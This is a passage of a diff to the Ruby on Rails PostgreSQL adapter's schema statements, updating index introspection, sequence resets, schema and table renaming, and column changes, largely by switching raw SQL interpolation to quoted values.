-            WHERE c.relkind IN ('v','m') -- (v)iew, (m)aterialized view
-            AND c.relname = #{quote(name.identifier)}
-            AND n.nspname = #{name.schema ? quote(name.schema) : "ANY (current_schemas(false))"}
-          SQL
+        #
+        # Note, for PostgreSQL versions >= 13 the SQL statement will include <tt>WITH (FORCE)</tt> to
+        # disconnect clients before dropping the database. This allows you to drop/reset the
+        # database without stopping the \Rails server etc. See:
+        # https://www.postgresql.org/docs/current/sql-dropdatabase.html
+        def drop_database(name)
+          statement = "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
+          statement += " WITH (FORCE)" if supports_force_drop_database?
+          execute statement
         end
 
-        def drop_table(table_name, options = {}) # :nodoc:
-          execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+        def drop_table(*table_names, **options) # :nodoc:
+          table_names.each { |table_name| schema_cache.clear_data_source_cache!(table_name.to_s) }
+          execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{table_names.map { |table_name| quote_table_name(table_name) }.join(', ')}#{' CASCADE' if options[:force] == :cascade}"
         end
 
         # Returns true if schema exists.
         def schema_exists?(name)
-          select_value("SELECT COUNT(*) FROM pg_namespace WHERE nspname = '#{name}'", "SCHEMA").to_i > 0
+          query_value("SELECT COUNT(*) FROM pg_namespace WHERE nspname = #{quote(name)}").to_i > 0
         end
 
         # Verifies existence of an index with a given name.
-        def index_name_exists?(table_name, index_name, default = nil)
-          unless default.nil?
-            ActiveSupport::Deprecation.warn(<<-MSG.squish)
-              Passing default to #index_name_exists? is deprecated without replacement.
-            MSG
-          end
-          table = Utils.extract_schema_qualified_name(table_name.to_s)
-          index = Utils.extract_schema_qualified_name(index_name.to_s)
+        def index_name_exists?(table_name, index_name)
+          table = quoted_scope(table_name)
+          index = quoted_scope(index_name)
 
-          select_value(<<-SQL, "SCHEMA").to_i > 0
+          query_value(<<~SQL).to_i > 0
             SELECT COUNT(*)
             FROM pg_class t
             INNER JOIN pg_index d ON t.oid = d.indrelid
             INNER JOIN pg_class i ON d.indexrelid = i.oid
-            LEFT JOIN pg_namespace n ON n.oid = i.relnamespace
-            WHERE i.relkind = 'i'
-              AND i.relname = '#{index.identifier}'
-              AND t.relname = '#{table.identifier}'
-              AND n.nspname = #{index.schema ? "'#{index.schema}'" : 'ANY (current_schemas(false))'}
+            LEFT JOIN pg_namespace n ON n.oid = t.relnamespace
+            WHERE i.relkind IN ('i', 'I')
+              AND i.relname = #{index[:name]}
+              AND t.relname = #{table[:name]}
+              AND n.nspname = #{table[:schema]}
           SQL
         end
 
         # Returns an array of indexes for the given table.
-        def indexes(table_name, name = nil) # :nodoc:
-          if name
-            ActiveSupport::Deprecation.warn(<<-MSG.squish)
-              Passing name to #indexes is deprecated without replacement.
-            MSG
-          end
-
-          table = Utils.extract_schema_qualified_name(table_name.to_s)
-
-          result = query(<<-SQL, "SCHEMA")
-            SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid,
-                            pg_catalog.obj_description(i.oid, 'pg_class') AS comment,
-            (SELECT COUNT(*) FROM pg_opclass o
-               JOIN (SELECT unnest(string_to_array(d.indclass::text, ' '))::int oid) c
-                 ON o.oid = c.oid WHERE o.opcdefault = 'f')
+        def indexes(table_name) # :nodoc:
+          scope = quoted_scope(table_name)
+
+          result = query_rows(<<~SQL)
+            SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid),
+                            pg_catalog.obj_description(i.oid, 'pg_class') AS comment, d.indisvalid,
+                            ARRAY(
+                              SELECT pg_get_indexdef(d.indexrelid, k + 1, true)
+                              FROM generate_subscripts(d.indkey, 1) AS k
+                              ORDER BY k
+                            ) AS columns
             FROM pg_class t
             INNER JOIN pg_index d ON t.oid = d.indrelid
             INNER JOIN pg_class i ON d.indexrelid = i.oid
-            LEFT JOIN pg_namespace n ON n.oid = i.relnamespace
-            WHERE i.relkind = 'i'
+            LEFT JOIN pg_namespace n ON n.oid = t.relnamespace
+            WHERE i.relkind IN ('i', 'I')
               AND d.indisprimary = 'f'
-              AND t.relname = '#{table.identifier}'
-              AND n.nspname = #{table.schema ? "'#{table.schema}'" : 'ANY (current_schemas(false))'}
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
             ORDER BY i.relname
           SQL
 
@@ -186,100 +122,152 @@ def indexes(table_name, name = nil) # :nodoc:
             unique = row[1]
             indkey = row[2].split(" ").map(&:to_i)
             inddef = row[3]
-            oid = row[4]
-            comment = row[5]
-            opclass = row[6]
+            comment = row[4]
+            valid = row[5]
+            columns = decode_string_array(row[6]).map { |c| Utils.unquote_identifier(c.strip.gsub('""', '"')) }
+
+            using, expressions, include, nulls_not_distinct, where = inddef.scan(/ USING (\w+?) \((.+?)\)(?: INCLUDE \((.+?)\))?( NULLS NOT DISTINCT)?(?: WHERE (.+))?\z/m).flatten
 
-            using, expressions, where = inddef.scan(/ USING (\w+?) \((.+?)\)(?: WHERE (.+))?\z/).flatten
+            orders = {}
+            opclasses = {}
+            include_columns = include ? include.split(",").map { |c| Utils.unquote_identifier(c.strip.gsub('""', '"')) } : []
 
-            if indkey.include?(0) || opclass > 0
+            if indkey.include?(0)
               columns = expressions
             else
-              columns = Hash[query(<<-SQL.strip_heredoc, "SCHEMA")].values_at(*indkey).compact
-                SELECT a.attnum, a.attname
-                FROM pg_attribute a
-                WHERE a.attrelid = #{oid}
-                AND a.attnum IN (#{indkey.join(",")})
-              SQL
-
-              # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
-              orders = Hash[
-                expressions.scan(/(\w+) DESC/).flatten.map { |order_column| [order_column, :desc] }
-              ]
+              # prevent INCLUDE columns from being matched
+              columns.reject! { |c| include_columns.include?(c) }
+
+              # add info on sort order (only desc order is explicitly specified, asc is the default)
+              # and non-default opclasses
+              expressions.scan(/(?<column>\w+)"?\s?(?<opclass>\w+_ops(_\w+)?)?\s?(?<desc>DESC)?\s?(?<nulls>NULLS (?:FIRST|LAST))?/).each do |column, opclass, desc, nulls|
+                opclasses[column] = opclass.to_sym if opclass
+                if nulls
+                  orders[column] = [desc, nulls].compact.join(" ")
+                else
+                  orders[column] = :desc if desc
+                end
+              end
             end
 
-            IndexDefinition.new(table_name, index_name, unique, columns, [], orders, where, nil, using.to_sym, comment.presence)
-          end.compact
-        end
-
-        def new_column_from_field(table_name, field) # :nondoc:
-          column_name, type, default, notnull, oid, fmod, collation, comment = field
-          oid = oid.to_i
-          fmod = fmod.to_i
-          type_metadata = fetch_type_metadata(column_name, type, oid, fmod)
-          default_value = extract_value_from_default(default)
-          default_function = extract_default_function(default_value, default)
-          PostgreSQLColumn.new(
-            column_name,
-            default_value,
-            type_metadata,
-            !notnull,
-            table_name,
-            default_function,
-            collation,
-            comment: comment.presence
-          )
+            IndexDefinition.new(
+              table_name,
+              index_name,
+              unique,
+              columns,
+              orders: orders,
+              opclasses: opclasses,
+              where: where,
+              using: using.to_sym,
+              include: include_columns.presence,
+              nulls_not_distinct: nulls_not_distinct.present?,
+              comment: comment.presence,
+              valid: valid
+            )
+          end
         end
 
         def table_options(table_name) # :nodoc:
-          if comment = table_comment(table_name)
-            { comment: comment }
+          options = {}
+
+          comment = table_comment(table_name)
+
+          options[:comment] = comment if comment
+
+          inherited_table_names = inherited_table_names(table_name).presence
+
+          options[:options] = "INHERITS (#{inherited_table_names.join(", ")})" if inherited_table_names
+
+          if !options[:options] && supports_native_partitioning?
+            partition_definition = table_partition_definition(table_name)
+
+            options[:options] = "PARTITION BY #{partition_definition}" if partition_definition
           end
+
+          options
         end
 
         # Returns a comment stored in database for given table
         def table_comment(table_name) # :nodoc:
-          name = Utils.extract_schema_qualified_name(table_name.to_s)
-          if name.identifier
-            select_value(<<-SQL.strip_heredoc, "SCHEMA")
+          scope = quoted_scope(table_name, type: "BASE TABLE")
+          if scope[:name]
+            query_value(<<~SQL)
               SELECT pg_catalog.obj_description(c.oid, 'pg_class')
               FROM pg_catalog.pg_class c
                 LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
-              WHERE c.relname = #{quote(name.identifier)}
-                AND c.relkind IN ('r') -- (r)elation/table
-                AND n.nspname = #{name.schema ? quote(name.schema) : 'ANY (current_schemas(false))'}
+              WHERE c.relname = #{scope[:name]}
+                AND c.relkind IN (#{scope[:type]})
+                AND n.nspname = #{scope[:schema]}
             SQL
           end
         end
 
+        # Returns the partition definition of a given table
+        def table_partition_definition(table_name) # :nodoc:
+          scope = quoted_scope(table_name, type: "BASE TABLE")
+
+          query_value(<<~SQL)
+            SELECT pg_catalog.pg_get_partkeydef(c.oid)
+            FROM pg_catalog.pg_class c
+              LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
+            WHERE c.relname = #{scope[:name]}
+              AND c.relkind IN (#{scope[:type]})
+              AND n.nspname = #{scope[:schema]}
+          SQL
+        end
+
+        # Returns the inherited table name of a given table
+        def inherited_table_names(table_name) # :nodoc:
+          scope = quoted_scope(table_name, type: "BASE TABLE")
+
+          query_values(<<~SQL)
+            SELECT parent.relname
+            FROM pg_catalog.pg_inherits i
+              JOIN pg_catalog.pg_class child ON i.inhrelid = child.oid
+              JOIN pg_catalog.pg_class parent ON i.inhparent = parent.oid
+              LEFT JOIN pg_namespace n ON n.oid = child.relnamespace
+            WHERE child.relname = #{scope[:name]}
+              AND child.relkind IN (#{scope[:type]})
+              AND n.nspname = #{scope[:schema]}
+          SQL
+        end
+
         # Returns the current database name.
         def current_database
-          select_value("select current_database()", "SCHEMA")
+          query_value("SELECT current_database()")
         end
 
         # Returns the current schema name.
         def current_schema
-          select_value("SELECT current_schema", "SCHEMA")
+          query_value("SELECT current_schema")
+        end
+
+        # Returns an array of the names of all schemas presently in the effective search path,
+        # in their priority order.
+        def current_schemas # :nodoc:
+          schemas = query_value("SELECT current_schemas(false)")
+          decoder = PG::TextDecoder::Array.new
+          decoder.decode(schemas)
         end
 
         # Returns the current database encoding format.
         def encoding
-          select_value("SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname LIKE '#{current_database}'", "SCHEMA")
+          query_value("SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname = current_database()")
         end
 
         # Returns the current database collation.
         def collation
-          select_value("SELECT datcollate FROM pg_database WHERE datname LIKE '#{current_database}'", "SCHEMA")
+          query_value("SELECT datcollate FROM pg_database WHERE datname = current_database()")
         end
 
         # Returns the current database ctype.
         def ctype
-          select_value("SELECT datctype FROM pg_database WHERE datname LIKE '#{current_database}'", "SCHEMA")
+          query_value("SELECT datctype FROM pg_database WHERE datname = current_database()")
         end
 
         # Returns an array of schema names.
         def schema_names
-          select_values(<<-SQL, "SCHEMA")
+          query_values(<<~SQL)
             SELECT nspname
               FROM pg_namespace
              WHERE nspname !~ '^pg_.*'
@@ -289,44 +277,60 @@ def schema_names
         end
 
         # Creates a schema for the given schema name.
-        def create_schema(schema_name)
-          execute "CREATE SCHEMA #{quote_schema_name(schema_name)}"
+        def create_schema(schema_name, force: nil, if_not_exists: nil)
+          if force && if_not_exists
+            raise ArgumentError, "Options `:force` and `:if_not_exists` cannot be used simultaneously."
+          end
+
+          if force
+            drop_schema(schema_name, if_exists: true)
+          end
+
+          execute("CREATE SCHEMA#{' IF NOT EXISTS' if if_not_exists} #{quote_schema_name(schema_name)}")
         end
 
         # Drops the schema for the given schema name.
-        def drop_schema(schema_name, options = {})
+        def drop_schema(schema_name, **options)
           execute "DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE"
         end
 
+        # Renames the schema for the given schema name.
+        def rename_schema(schema_name, new_name)
+          execute "ALTER SCHEMA #{quote_schema_name(schema_name)} RENAME TO #{quote_schema_name(new_name)}"
+        end
+
         # Sets the schema search path to a string of comma-separated schema names.
         # Names beginning with $ have to be quoted (e.g. $user => '$user').
-        # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
+        # See: https://www.postgresql.org/docs/current/static/ddl-schemas.html
         #
         # This should be not be called manually but set in database.yml.
         def schema_search_path=(schema_csv)
+          return if schema_csv == @schema_search_path
           if schema_csv
-            execute("SET search_path TO #{schema_csv}", "SCHEMA")
+            query_command("SET search_path TO #{schema_csv}", "SCHEMA")
             @schema_search_path = schema_csv
           end
         end
 
         # Returns the active schema search path.
         def schema_search_path
-          @schema_search_path ||= select_value("SHOW search_path", "SCHEMA")
+          @schema_search_path ||= query_value("SHOW search_path")
         end
 
         # Returns the current client message level.
         def client_min_messages
-          select_value("SHOW client_min_messages", "SCHEMA")
+          query_value("SHOW client_min_messages")
         end
 
         # Set the client message level.
         def client_min_messages=(level)
-          execute("SET client_min_messages TO '#{level}'", "SCHEMA")
+          query_command("SET client_min_messages TO '#{level}'", "SCHEMA")
         end
 
         # Returns the sequence name for a table's primary key or some other specified key.
-        def default_sequence_name(table_name, pk = "id") #:nodoc:
+        def default_sequence_name(table_name, pk = "id") # :nodoc:
+          return nil if pk.is_a?(Array)
+
           result = serial_sequence(table_name, pk)
           return nil unless result
           Utils.extract_schema_qualified_name(result).to_s
@@ -335,51 +339,197 @@ def default_sequence_name(table_name, pk = "id") #:nodoc:
         end
 
         def serial_sequence(table, column)
-          select_value("SELECT pg_get_serial_sequence('#{table}', '#{column}')", "SCHEMA")
+          query_value("SELECT pg_get_serial_sequence(#{quote(table)}, #{quote(column)})")
         end
 
         # Sets the sequence of a table's primary key to the specified value.
-        def set_pk_sequence!(table, value) #:nodoc:
+        def set_pk_sequence!(table, value) # :nodoc:
           pk, sequence = pk_and_sequence_for(table)
 
           if pk
             if sequence
               quoted_sequence = quote_table_name(sequence)
 
-              select_value("SELECT setval('#{quoted_sequence}', #{value})", "SCHEMA")
+              query_command("SELECT setval(#{quote(quoted_sequence)}, #{value})")
             else
               @logger.warn "#{table} has primary key #{pk} with no default sequence." if @logger
             end
           end
         end
 
-        # Resets the sequence of a table's primary key to the maximum value.
-        def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
-          unless pk && sequence
-            default_pk, default_sequence = pk_and_sequence_for(table)
+        class SequenceReset # :nodoc:
+          Data = Struct.new(:column, :sequence, :max_value, :min_value)
 
-            pk ||= default_pk
-            sequence ||= default_sequence
+          def initialize(adapter, tables)
+            @adapter = adapter
+            @tables = tables.to_h { |table, data| [table.to_s, Data.new(*data)] }
           end
 
-          if @logger && pk && !sequence
-            @logger.warn "#{table} has primary key #{pk} with no default sequence."
-          end
+          def reset
+            backfill
 
-          if pk && sequence
-            quoted_sequence = quote_table_name(sequence)
+            reset_sqls = @tables.values.filter_map do |data|
+              next unless data.sequence && (data.max_value || data.min_value)
+              reset_sequence_sql(data.sequence, data.max_value, data.min_value)
+            end
 
-            select_value(<<-end_sql, "SCHEMA")
-              SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)
-            end_sql
+            @adapter.execute_batch(reset_sqls, "SCHEMA")
           end
+
+          private
+            def backfill
+              backfill_sequences_with_primary_keys
+              backfill_sequences_with_uuids
+              backfill_max_values
+              backfill_min_values
+            end
+
+            def backfill_sequences_with_primary_keys
+              tables_without_sequences = @tables.select do |table, data|
+                !data.column || !data.sequence
+              end.keys
+
+              return if tables_without_sequences.none?
+
+              sql = primary_key_column_and_sequence_sql(tables_without_sequences)
+              primary_key_column_and_sequences = @adapter.exec_query(sql, "SCHEMA")
+
+              primary_key_column_and_sequences.rows.each do |table, column, namespace, sequence|
+                table = table.delete_prefix('"').delete_suffix('"')
+                @tables[table].column = column
+                @tables[table].sequence = PostgreSQL::Name.new(namespace, sequence) if sequence
+              end
+            end
+
+            def backfill_sequences_with_uuids
+              tables_without_sequences = @tables.select do |table, data|
+                !data.column || !data.sequence
+              end.keys
+
+              return if tables_without_sequences.none?
+
+              sql = uuid_column_and_sequence_sql(tables_without_sequences)
+              uuid_column_and_sequences = @adapter.exec_query(sql, "SCHEMA")
+
+              uuid_column_and_sequences.rows.each do |table, column, namespace, sequence|
+                table = table.delete_prefix('"').delete_suffix('"')
+                @tables[table].column = column
+                @tables[table].sequence = PostgreSQL::Name.new(namespace, sequence) if sequence
+              end
+            end
+
+            def backfill_max_values
+              tables_without_max_or_min_values = @tables.select { |table, data| !data.max_value || !data.min_value }.keys
+
+              return unless tables_without_max_or_min_values.any?
+
+              tables_max_value_sqls = tables_without_max_or_min_values.map do |table|
+                sequence = @tables[table].sequence
+                column = @tables[table].column
+                sequence ? select_max_column_value_sql(table, column) : nil
+              end
+              max_values = tables_max_value_sqls.map { |sql| @adapter.query_value(sql, "SCHEMA") if sql }
+
+              tables_without_max_or_min_values.zip(max_values).each do |table, max_value|
+                @tables[table].max_value = max_value
+              end
+            end
+
+            def backfill_min_values
+              tables_without_max_or_min_values = @tables.select { |table, data| !data.max_value || !data.min_value }.keys
+
+              return unless tables_without_max_or_min_values.any?
+
+              tables_min_value_sqls = tables_without_max_or_min_values.map do |table|
+                sequence = @tables[table].sequence
+                sequence ? select_min_column_value_sql(sequence) : nil
+              end
+              min_values = tables_min_value_sqls.map { |sql| @adapter.query_value(sql, "SCHEMA") if sql }
+
+              tables_without_max_or_min_values.zip(min_values).each do |table, (min_value)|
+                @tables[table].min_value = min_value
+              end
+            end
+
+            def primary_key_column_and_sequence_sql(tables)
+              tables = tables.map { |table| "#{@adapter.quote(@adapter.quote_table_name(table))}::regclass" }
+              <<~SQL
+              SELECT dep.refobjid::regclass::text, attr.attname, nsp.nspname, seq.relname
+              FROM pg_class      seq,
+                  pg_attribute  attr,
+                  pg_depend     dep,
+                  pg_constraint cons,
+                  pg_namespace  nsp
+              WHERE seq.oid           = dep.objid
+                AND seq.relkind       = 'S'
+                AND attr.attrelid     = dep.refobjid
+                AND attr.attnum       = dep.refobjsubid
+                AND attr.attrelid     = cons.conrelid
+                AND attr.attnum       = cons.conkey[1]
+                AND seq.relnamespace  = nsp.oid
+                AND cons.contype      = 'p'
+                AND dep.classid       = 'pg_class'::regclass
+                AND dep.refobjid      IN (#{tables.join(", ")})
+              SQL
+            end
+
+            def uuid_column_and_sequence_sql(tables)
+              tables = tables.map { |table| "#{@adapter.quote(@adapter.quote_table_name(table))}::regclass" }
+              <<~SQL
+              SELECT t.oid::regclass::text, attr.attname, nsp.nspname,
+                CASE
+                  WHEN pg_get_expr(def.adbin, def.adrelid) !~* 'nextval' THEN NULL
+                  WHEN split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2) ~ '.' THEN
+                    substr(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2),
+                           strpos(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2), '.')+1)
+                  ELSE split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2)
+                END
+              FROM pg_class       t
+              JOIN pg_attribute   attr ON (t.oid = attrelid)
+              JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
+              JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
+              JOIN pg_namespace   nsp  ON (t.relnamespace = nsp.oid)
+              WHERE t.oid IN (#{tables.join(", ")})
+                AND cons.contype = 'p'
+                AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate|gen_random_uuid'
+              SQL
+            end
+
+            def select_max_column_value_sql(table, column)
+              "SELECT MAX(#{@adapter.quote_column_name(column)}) FROM #{@adapter.quote_table_name(table)}"
+            end
+
+            def select_min_column_value_sql(sequence)
+              quoted_sequence = @adapter.quote_table_name(sequence)
+              if @adapter.database_version >= 10_00_00
+                "SELECT seqmin FROM pg_sequence WHERE seqrelid = #{@adapter.quote(quoted_sequence)}::regclass"
+              else
+                "SELECT min_value FROM #{quoted_sequence}"
+              end
+            end
+
+            def reset_sequence_sql(sequence, max_value, min_value)
+              quoted_sequence = @adapter.quote_table_name(sequence)
+              "SELECT setval(#{@adapter.quote(quoted_sequence)}, #{max_value || min_value}, #{max_value ? true : false})"
+            end
+        end
+
+        # Resets the sequence of a table's primary key to the maximum value.
+        def reset_pk_sequence!(table, pk = nil, sequence = nil) # :nodoc:
+          SequenceReset.new(self, table => [pk, sequence]).reset
+        end
+
+        # Batch resets column sequences. Passed in the shape of [[table, column, sequence, max_column_value, min_column_value]].
+        # Reduces query round trips for sequence resets when there are a large amount of tables.
+        def reset_column_sequences!(tables) # :nodoc:
+          SequenceReset.new(self, tables).reset
         end
 
         # Returns a table's primary key and belonging sequence.
-        def pk_and_sequence_for(table) #:nodoc:
+        def pk_and_sequence_for(table) # :nodoc:
           # First try looking for a sequence with a dependency on the
           # given table's primary key.
-          result = query(<<-end_sql, "SCHEMA")[0]
+          result = query_rows(<<~SQL)[0]
             SELECT attr.attname, nsp.nspname, seq.relname
             FROM pg_class      seq,
                  pg_attribute  attr,
@@ -395,11 +545,11 @@ def pk_and_sequence_for(table) #:nodoc:
               AND seq.relnamespace  = nsp.oid
               AND cons.contype      = 'p'
               AND dep.classid       = 'pg_class'::regclass
-              AND dep.refobjid      = '#{quote_table_name(table)}'::regclass
-          end_sql
+              AND dep.refobjid      = #{quote(quote_table_name(table))}::regclass
+          SQL
 
           if result.nil? || result.empty?
-            result = query(<<-end_sql, "SCHEMA")[0]
+            result = query_rows(<<~SQL)[0]
               SELECT attr.attname, nsp.nspname,
                 CASE
                   WHEN pg_get_expr(def.adbin, def.adrelid) !~* 'nextval' THEN NULL
@@ -413,10 +563,10 @@ def pk_and_sequence_for(table) #:nodoc:
               JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
               JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
               JOIN pg_namespace   nsp  ON (t.relnamespace = nsp.oid)
-              WHERE t.oid = '#{quote_table_name(table)}'::regclass
+              WHERE t.oid = #{quote(quote_table_name(table))}::regclass
                 AND cons.contype = 'p'
-                AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate'
-            end_sql
+                AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate|gen_random_uuid'
+            SQL
           end
 
           pk = result.shift
@@ -430,18 +580,15 @@ def pk_and_sequence_for(table) #:nodoc:
         end
 
         def primary_keys(table_name) # :nodoc:
-          name = Utils.extract_schema_qualified_name(table_name.to_s)
-          select_values(<<-SQL.strip_heredoc, "SCHEMA")
-            SELECT column_name
-              FROM information_schema.key_column_usage kcu
-              JOIN information_schema.table_constraints tc
-                ON kcu.table_name = tc.table_name
-               AND kcu.table_schema = tc.table_schema
-               AND kcu.constraint_name = tc.constraint_name
-             WHERE constraint_type = 'PRIMARY KEY'
-               AND kcu.table_name = #{quote(name.identifier)}
-               AND kcu.table_schema = #{name.schema ? quote(name.schema) : "ANY (current_schemas(false))"}
-             ORDER BY kcu.ordinal_position
+          query_values(<<~SQL)
+            SELECT a.attname
+            FROM pg_index i
+            JOIN pg_attribute a
+              ON a.attrelid = i.indrelid
+              AND a.attnum = ANY(i.indkey)
+            WHERE i.indrelid = #{quote(quote_table_name(table_name))}::regclass
+              AND i.indisprimary
+            ORDER BY array_position(i.indkey, a.attnum)
           SQL
         end
 
@@ -451,105 +598,119 @@ def primary_keys(table_name) # :nodoc:
         #
         # Example:
         #   rename_table('octopuses', 'octopi')
-        def rename_table(table_name, new_name)
+        def rename_table(table_name, new_name, **options)
+          validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
           clear_cache!
+          schema_cache.clear_data_source_cache!(table_name.to_s)
+          schema_cache.clear_data_source_cache!(new_name.to_s)
           execute "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
           pk, seq = pk_and_sequence_for(new_name)
-          if seq && seq.identifier == "#{table_name}_#{pk}_seq"
-            new_seq = "#{new_name}_#{pk}_seq"
-            idx = "#{table_name}_pkey"
-            new_idx = "#{new_name}_pkey"
-            execute "ALTER TABLE #{seq.quoted} RENAME TO #{quote_table_name(new_seq)}"
+          if pk
+            # PostgreSQL automatically creates an index for PRIMARY KEY with name consisting of
+            # truncated table name and "_pkey" suffix fitting into max_identifier_length number of characters.
+            max_pkey_prefix = max_identifier_length - "_pkey".size
+            idx = "#{table_name[0, max_pkey_prefix]}_pkey"
+            new_idx = "#{new_name[0, max_pkey_prefix]}_pkey"
             execute "ALTER INDEX #{quote_table_name(idx)} RENAME TO #{quote_table_name(new_idx)}"
-          end
 
-          rename_table_indexes(table_name, new_name)
+            # PostgreSQL automatically creates a sequence for PRIMARY KEY with name consisting of
+            # truncated table name and "#{primary_key}_seq" suffix fitting into max_identifier_length number of characters.
+            max_seq_prefix = max_identifier_length - "_#{pk}_seq".size
+            if seq && seq.identifier == "#{table_name[0, max_seq_prefix]}_#{pk}_seq"
+              new_seq = "#{new_name[0, max_seq_prefix]}_#{pk}_seq"
+              execute "ALTER TABLE #{seq.quoted} RENAME TO #{quote_table_name(new_seq)}"
+            end
+          end
+          rename_table_indexes(table_name, new_name, **options)
         end
 
-        def add_column(table_name, column_name, type, options = {}) #:nodoc:
+        def add_column(table_name, column_name, type, **options) # :nodoc:
           clear_cache!
           super
           change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment)
         end
 
-        def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        def change_column(table_name, column_name, type, **options) # :nodoc:
           clear_cache!
-          quoted_table_name = quote_table_name(table_name)
-          quoted_column_name = quote_column_name(column_name)
-          sql_type = type_to_sql(type, options)
-          sql = "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quoted_column_name} TYPE #{sql_type}"
-          if options[:collation]
-            sql << " COLLATE \"#{options[:collation]}\""
-          end
-          if options[:using]
-            sql << " USING #{options[:using]}"
-          elsif options[:cast_as]
-            cast_as_type = type_to_sql(options[:cast_as], options)
-            sql << " USING CAST(#{quoted_column_name} AS #{cast_as_type})"
-          end
-          execute sql
-
-          change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
-          change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
-          change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment)
+          sqls, procs = Array(change_column_for_alter(table_name, column_name, type, **options)).partition { |v| v.is_a?(String) }
+          execute "ALTER TABLE #{quote_table_name(table_name)} #{sqls.join(", ")}"
+          procs.each(&:call)
+        end
+
+        # Builds a ChangeColumnDefinition object.
+        #
+        # This definition object contains information about the column change that would occur
+        # if the same arguments were passed to #change_column. See #change_column for information about
+        # passing a +table_name+, +column_name+, +type+ and other options that can be passed.
+        def build_change_column_definition(table_name, column_name, type, **options) # :nodoc:
+          td = create_table_definition(table_name)
+          cd = td.new_column_definition(column_name, type, **options)
+          ChangeColumnDefinition.new(cd, column_name)
         end
 
         # Changes the default value of a table column.
         def change_column_default(table_name, column_name, default_or_changes) # :nodoc:
-          clear_cache!
+          execute "ALTER TABLE #{quote_table_name(table_name)} #{change_column_default_for_alter(table_name, column_name, default_or_changes)}"
+        end
+
+        def build_change_column_default_definition(table_name, column_name, default_or_changes) # :nodoc:
           column = column_for(table_name, column_name)
           return unless column
 
           default = extract_new_default_value(default_or_changes)
-          alter_column_query = "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} %s"
-          if default.nil?
-            # <tt>DEFAULT NULL</tt> results in the same behavior as <tt>DROP DEFAULT</tt>. However, PostgreSQL will
-            # cast the default to the columns type, which leaves us with a default like "default NULL::character varying".
-            execute alter_column_query % "DROP DEFAULT"
-          else
-            execute alter_column_query % "SET DEFAULT #{quote_default_expression(default, column)}"
-          end
+          ChangeColumnDefaultDefinition.new(column, default)
         end
 
-        def change_column_null(table_name, column_name, null, default = nil) #:nodoc:
+        def change_column_null(table_name, column_name, null, default = nil) # :nodoc:
+          validate_change_column_null_argument!(null)
+
           clear_cache!
           unless null || default.nil?
             column = column_for(table_name, column_name)
-            execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_expression(default, column)} WHERE #{quote_column_name(column_name)} IS NULL") if column
+            execute "UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_expression(default, column)} WHERE #{quote_column_name(column_name)} IS NULL" if column
           end
-          execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
+          execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL"
         end
 
         # Adds comment for given table column or drops it if +comment+ is a +nil+
-        def change_column_comment(table_name, column_name, comment) # :nodoc:
+        def change_column_comment(table_name, column_name, comment_or_changes) # :nodoc:
           clear_cache!
+          comment = extract_new_comment_value(comment_or_changes)
           execute "COMMENT ON COLUMN #{quote_table_name(table_name)}.#{quote_column_name(column_name)} IS #{quote(comment)}"
         end
 
         # Adds comment for given table or drops it if +comment+ is a +nil+
-        def change_table_comment(table_name, comment) # :nodoc:
+        def change_table_comment(table_name, comment_or_changes) # :nodoc:
           clear_cache!
+          comment = extract_new_comment_value(comment_or_changes)
           execute "COMMENT ON TABLE #{quote_table_name(table_name)} IS #{quote(comment)}"
         end
 
         # Renames a column in a table.
-        def rename_column(table_name, column_name, new_column_name) #:nodoc:
+        def rename_column(table_name, column_name, new_column_name) # :nodoc:
           clear_cache!
-          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+          execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
           rename_column_indexes(table_name, column_name, new_column_name)
         end
 
-        def add_index(table_name, column_name, options = {}) #:nodoc:
